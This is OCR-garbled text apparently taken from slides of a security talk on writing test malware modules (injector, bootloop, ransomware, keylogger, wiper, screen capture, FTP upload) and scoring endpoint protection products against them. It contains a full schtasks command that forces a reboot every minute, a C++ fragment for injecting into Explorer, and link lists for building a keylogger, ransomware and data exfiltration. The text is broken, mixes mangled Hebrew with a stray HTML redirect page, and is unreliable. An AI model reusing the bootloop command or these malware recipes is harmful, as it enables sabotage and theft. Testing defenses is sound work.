#pragma comment (lib, "Sh
CoobueHuit: 692 £

@20800800000000 // The title her te:
TCHAR szWindowClass [MAX LOADSTRING] = _T("PowerLoaderExCls"); // the main window class nan

NoBnaropapunu seero: 1,504

// Forward declaraticns of functions included in this cede module:
2a 370 coobuwenme: 7

ATOM MyRegisterClass (HINSTANCE hInstance):
BOOL InjectExplorer (HAND myWnd):

[fuckav.ru Do Zninn *70N% T NPT N1 Source code]
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We are the cavalry!
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<HTML><HEAD><meta http-equiv="content-type" content="text/
html;charset=utf-8">

<TITLE>302 Moved</TITLE></HEAD><BODY>

<H1>301 Moved</H1>

The document has moved
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Remote proc

Injector.exe Malicious
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Code injection

V4
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.remote proc

scope-17 yinn
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Bootloop-7 nnma .2
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schtasks /create /sc minute /mo 1 /tn restart /tr \"shutdown -r -f -t 0\"
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Ransomware .3
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.Y stack overflow-1 NIAIYN NNWY RIXAYT 77 - 20170 NDNA 0'¥A7N W YN X
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.AES MIy¥nXN2 yalj N1o¥n? msdn
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.07W ransomware ¥ win'm7 TIXNA NaNyp

Yalp nX7vn 4
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Keylogger .6

NN L72120 MIWKRIN ARYINN

Go gle how to c++ keylogger $ Q

All Videos Images News More Settings Tools

About 174,000 results (0.53 seconds)

A simple Keylogger Program - C++ Forum - Cplusplus.com
www.cplusplus.com > Forum » Lounge ¥

Aug 20,2010 - 12 posts - 8 authors

include <stdio.h> # include <conio.h> # include <windows.h> # include <winuser.h> # include
<iostream.h> int main (void ) { int cha; char ch;

Feedback on keylogger program? 1 post 23 Jan 2017
Keylogger in C++ 13 posts 7 Jan 2015
universal keylogger 4posts 2 Nov 2013
keylogger and password stealer 9 posts 4 May 2012

More results from www.cplusplus.com
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https://msdn.microsoft.com/en-us/library/windows/desktop/aa382358(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/aa382358(v=vs.85).aspx
http://naterice.com/ftp-upload-and-ftp-download-with-vbscript/
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https://www.youtube.com/watch?v=3jFfTzQ6HgM
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M Feature Score

Static 0.5 B 0.5

Behaviour 0 ._ 0.5 Gotcha
DeleteALL B 303 0 Partial
Bootloop 0 . 304 0 Bypass
Ransomware 0 . 305 0

GetFile 0 B 306 0

GetFileList 0 B 307 0

Keylogger 0 . 308 0

Antis 0 | 309 0

Persist 0 B 310 0

Screenshot 0 . 311 0
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https://youtu.be/JXpkkWxuEtk
https://twitter.com/3pun0x
https://www.blackhillsinfosec.com/bypassing-cylance-part-5-looking-forward/

Static
Behaviour 0 0
DeleteALL
Bootloop
Ransomware
GetFile
GetFileList
Keylogger
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Persist
Screenshot
BSOD

Technologic
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Source Code
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https://github.com/G4lB1t/LazyS
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Whoami

Minerva Labs-2 NX7n NIWN21 DA NIPTR 2I71D'0D9 @

nivw 79w Tivi nay ,C ,Python NaIT e

NP IRYI(Y7w Awn 2'annn) Vaccination ,NTA 0Z"IN97 "WPA DONX NQT7 NNWUR - @

= Twitter: https://twitter.com/Gal B1lt

=  Email: galbitensky@gmail.com

n'oMAIraAa/nro T

Injector:

e https://github.com/stephenfewer/ReflectiveDLLInjection

Threading:

e https://stackoverflow.com/questions/25559918/c-stdthread-crashes-upon-execution

e https://stackoverflow.com/questions/266168/simple-example-of-threading-in-c

File Enumerator:

e https://stackoverflow.com/questions/612097/how-can-i-get-the-list-of-files-in-a-directory-

using-c-or-c

e https://stackoverflow.com/questions/306533/how-do-i-get-a-list-of-files-in-a-directory-in-c

e https://stackoverflow.com/questions/5889880/better-way-to-concatenate-multiple-strings-

In-c

Keylogger:

e http://www.cplusplus.com/forum/lounge/27569/

Ransomware:

e https://msdn.microsoft.com/en-us/library/windows/desktop/aa382358(v=vs.85).aspx

e https://stackoverflow.com/questions/25639874/recursively-searching-for-files-in-the-

computer

e http://www.cplusplus.com/reference/cstdio/remove/

Wiper\destructive:

e https://stackoverflow.com/questions/9552443/running-a-cmd-command-in-c-program-file
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https://twitter.com/Gal_B1t
https://github.com/stephenfewer/ReflectiveDLLInjection
https://stackoverflow.com/questions/25559918/c-stdthread-crashes-upon-execution
https://stackoverflow.com/questions/266168/simple-example-of-threading-in-c
https://stackoverflow.com/questions/612097/how-can-i-get-the-list-of-files-in-a-directory-using-c-or-c
https://stackoverflow.com/questions/612097/how-can-i-get-the-list-of-files-in-a-directory-using-c-or-c
https://stackoverflow.com/questions/306533/how-do-i-get-a-list-of-files-in-a-directory-in-c
https://stackoverflow.com/questions/5889880/better-way-to-concatenate-multiple-strings-in-c
https://stackoverflow.com/questions/5889880/better-way-to-concatenate-multiple-strings-in-c
http://www.cplusplus.com/forum/lounge/27569/
https://msdn.microsoft.com/en-us/library/windows/desktop/aa382358(v=vs.85).aspx
https://stackoverflow.com/questions/25639874/recursively-searching-for-files-in-the-computer
https://stackoverflow.com/questions/25639874/recursively-searching-for-files-in-the-computer
http://www.cplusplus.com/reference/cstdio/remove/
https://stackoverflow.com/questions/9552443/running-a-cmd-command-in-c-program-file

Technologic

e https://stackoverflow.com/questions/12748786/delete-files-or-folder-recursively-on-

windows-cmd

e https://superuser.com/questions/173859/how-can-i-delete-all-files-subfolders-in-a-given-

folder-via-the-command-prompt

Screengrabbing:

e https://stackoverflow.com/questions/19495508/gdiplus-members-is-ambiguous

e  https://stackoverflow.com/questions/997175/how-can-i-take-a-screenshot-and-save-it-as-

ipeg-on-windows

e https://gist.github.com/ebonwheeler/3865787

Upload:

e https://www.howtogeek.com/howto/windows/how-to-automate-ftp-uploads-from-the-

windows-command-line/

e http://naterice.com/ftp-upload-and-ftp-download-with-vbscript/

e https://stackoverflow.com/questions/9119313/how-to-get-the-temp-folder-in-windows-7

e https://stackoverflow.com/questions/3418231/replace-part-of-a-string-with-another-string

e http://www.cplusplus.com/reference/regex/regex search/

e http://mathbits.com/MathBits/CompSci/Files/Name.htm

Download:

e https://stackoverflow.com/questions/1011339/how-do-you-make-a-http-request-with-c

e https://stackoverflow.com/questions/13482464/checking-if-word-exists-in-a-text-file-c
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https://stackoverflow.com/questions/12748786/delete-files-or-folder-recursively-on-windows-cmd
https://stackoverflow.com/questions/12748786/delete-files-or-folder-recursively-on-windows-cmd
https://superuser.com/questions/173859/how-can-i-delete-all-files-subfolders-in-a-given-folder-via-the-command-prompt
https://superuser.com/questions/173859/how-can-i-delete-all-files-subfolders-in-a-given-folder-via-the-command-prompt
https://stackoverflow.com/questions/19495508/gdiplus-members-is-ambiguous
https://stackoverflow.com/questions/997175/how-can-i-take-a-screenshot-and-save-it-as-jpeg-on-windows
https://stackoverflow.com/questions/997175/how-can-i-take-a-screenshot-and-save-it-as-jpeg-on-windows
https://gist.github.com/ebonwheeler/3865787
https://www.howtogeek.com/howto/windows/how-to-automate-ftp-uploads-from-the-windows-command-line/
https://www.howtogeek.com/howto/windows/how-to-automate-ftp-uploads-from-the-windows-command-line/
http://naterice.com/ftp-upload-and-ftp-download-with-vbscript/
https://stackoverflow.com/questions/9119313/how-to-get-the-temp-folder-in-windows-7
https://stackoverflow.com/questions/3418231/replace-part-of-a-string-with-another-string
http://www.cplusplus.com/reference/regex/regex_search/
http://mathbits.com/MathBits/CompSci/Files/Name.htm
https://stackoverflow.com/questions/1011339/how-do-you-make-a-http-request-with-c
https://stackoverflow.com/questions/13482464/checking-if-word-exists-in-a-text-file-c
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